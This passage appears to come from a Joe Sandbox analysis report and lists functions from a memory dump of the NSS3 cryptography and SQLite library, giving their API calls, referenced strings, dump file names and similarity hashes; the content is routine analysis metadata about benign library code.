
Function 6C793C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C793D3F

Part of subcall function 6C70BA90: PORT_NewArena_Util.NSS3(00000800,6C793CAF,?), ref: 6C70BABF
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C793CAF,?), ref: 6C70BAD5
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C793CAF,?), ref: 6C70BB08
Part of subcall function 6C70BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C793CAF,?), ref: 6C70BB1A
Part of subcall function 6C70BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C793CAF,?), ref: 6C70BB3B

PR_EnterMonitor.NSS3(?), ref: 6C793CCB

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C793CF8
PR_ExitMonitor.NSS3(?), ref: 6C793D15
PR_ExitMonitor.NSS3(?), ref: 6C793D2E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: eb3d66c16ff560bc952150f95b0a9d8406aa99f31ee5bc8aad498a7aa86347b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 3B11E2B5A10600AFF7205A65FE8AB9BB2E4AB1130DF504534E41E8BB61E632E919C653

Function 6C75FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction ID: 3e9c49d55286facb0a5e8a001848568f0da1a5d593b346a8e3efd70e902a1a29
Opcode Fuzzy Hash: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction Fuzzy Hash: 07110CB67012456BEB004F65ED48A5B73DCAF54399F548034ED1D87F12EB31E924CB91

Function 6C80FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C80FD9E

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C80FDB9

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C80FDD4
PR_Lock.NSS3 ref: 6C80FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C80FE0D
PR_Unlock.NSS3 ref: 6C80FE23

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction ID: eaa54d5b863c20afa3551d550dea2b2534dfb591bfcdfff414a3d8b64278615f
Opcode Fuzzy Hash: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction Fuzzy Hash: A10182B6A04201AFDF254E16FD048527632BB2236C7154775E82547BA2EB22DD28C6C6

Function 6C6EAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EAFDA

Strings

%s at line %d of [%.10s], xrefs: 6C6EAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C6EAF5C
misuse, xrefs: 6C6EAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EAFC4

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction ID: dc54658fbb1fd157ae38d6203d31755852c87cc853a1950ee311fc746f70b8e4
Opcode Fuzzy Hash: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction Fuzzy Hash: 2391F675B0A2158FDB14CF59C850BAABBF1BF89314F1945A9E855AB752C330EC01CBA8

Function 6C74FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C74FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C74FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C74FDDE

Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,6C76085A,00000000,?,6C708369,?), ref: 6C758821
Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,?,6C76085A,00000000,?,6C708369,?), ref: 6C75883D
Part of subcall function 6C758800: EnterCriticalSection.KERNEL32(?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758856
Part of subcall function 6C758800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C758887
Part of subcall function 6C758800: PR_Unlock.NSS3(?,?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758899

Strings

pkcs11:, xrefs: 6C74FC4F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction ID: 9acd59750a28840407b7a6501f01514909edeba5a911184926c5cc3db70710bb
Opcode Fuzzy Hash: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction Fuzzy Hash: F451F0B1A40211ABEB108F699F4AFAA3365AF4135CF548075DD146BB81EB30E814CFA2

Function 6C68BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C68BE02

Part of subcall function 6C7B9C40: memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68BE9F

Strings

%s at line %d of [%.10s], xrefs: 6C68BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68BE89
database corruption, xrefs: 6C68BE93

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction ID: d115f833f3db6ce0b8eb3292e7153cabc54ab2757b2e5513756afe9fd5ad510a
Opcode Fuzzy Hash: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction Fuzzy Hash: 05314731A456668FC700CF68CC9CAABBBB1AF86394B098554EE581BB41D370EC06C3F4

Function 6C701EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701EE2

Part of subcall function 6C761820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C701D97,?,?), ref: 6C761836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F37
DER_DecodeTimeChoice_Util.NSS3(?,dLpl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F53

Strings

dLpl, xrefs: 6C701F2B, 6C701F51

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLpl
API String ID: 3216063065-2277220201
Opcode ID: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction ID: b50554a6085f9c85fe04e9dffab03a80b39ea1959930556df6a56bed280fc5e5
Opcode Fuzzy Hash: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction Fuzzy Hash: C02150B1605216AFC740CE2ADE04A9BB7E9AB8479DF40092DEC44C3A40F730E558CBD2

Function 6C6F0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6F0BDE), ref: 6C6F0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6F0BDE), ref: 6C6F0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6F0BDE), ref: 6C6F0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6F0BDE), ref: 6C6F0E32

Strings

%s incr => %d (find lib), xrefs: 6C6F0E2D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction ID: 81bb00edc7817f264eb9a21175458e3463a9a07a2e82cfef28ecfa9243259a20
Opcode Fuzzy Hash: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction Fuzzy Hash: FE01F1727002149FE6308F298C49E67B3EEDB45B08B04487DE909D3A42E761EC16CBE1

Function 6C7AAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC2D

Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
Part of subcall function 6C74ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
Part of subcall function 6C74ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
Part of subcall function 6C74ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC59
free.MOZGLUE(8CB6FF01,6C786AC6,?,?,?,?,?,?,?,?,?,?,6C795D40,00000000,?,6C79AAD4), ref: 6C7AAC62

Strings

@]yl, xrefs: 6C7AAC05

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]yl
API String ID: 1595327144-1691211022
Opcode ID: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction ID: 5c0ef5fc7182319a61cd9911c43402cb4a8f5671bead164b9ab68f33ecf3ad60
Opcode Fuzzy Hash: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction Fuzzy Hash: FD014FB56002009FEB10DF55EAC5B5677A8AF4476CF188078E9498F706D735E845CFA2

Function 6C699C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C699CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C699D45
EnterCriticalSection.KERNEL32(?), ref: 6C699D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C699DDE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction ID: 7cd1e0245c7cc6127651dd72ca58e7ce6ed8f7033ce3e1cc0a4670c99fc2caf8
Opcode Fuzzy Hash: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction Fuzzy Hash: 1EA1AC31B041018FEB68DF65E99867E3771BB8771DF18113CE40A47A41DB3AA846CBCA

Function 6C721E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C721ECC

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

TlsGetValue.KERNEL32 ref: 6C721EDF
EnterCriticalSection.KERNEL32(?), ref: 6C721EEF
PR_ExitMonitor.NSS3(?), ref: 6C721F37
PR_Unlock.NSS3(?), ref: 6C721F44

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction ID: fb305ad0068a0292aa1b1909054c27e76d5d993bf23bb6baf98250f6048be039
Opcode Fuzzy Hash: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction Fuzzy Hash: CF71BE729083019FD720CF24D944A5BB7F5FF88358F144929E8A893B21E736F959CB92

Function 6C7ADD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7ADD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7ADE77

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction ID: ebee2bd04381fb5372e047a0b9ad1bf48565f17c5f155adf9c11d210776d2c88
Opcode Fuzzy Hash: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction Fuzzy Hash: C1715571A04314CFDB20CF99C68468AB7B4BF69718F25827EDD696B702D770A942CF80

Function 6C6A6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C693C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693C66
Part of subcall function 6C693C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C693D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C6A6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C6A6DE5

Part of subcall function 6C6A8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A807D
Part of subcall function 6C6A8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A80D1
Part of subcall function 6C6A8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A810E
Part of subcall function 6C6A8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C6A6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6A6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A6EC2

Part of subcall function 6C6A7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E27
Part of subcall function 6C6A7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E67

Memory Dump Source

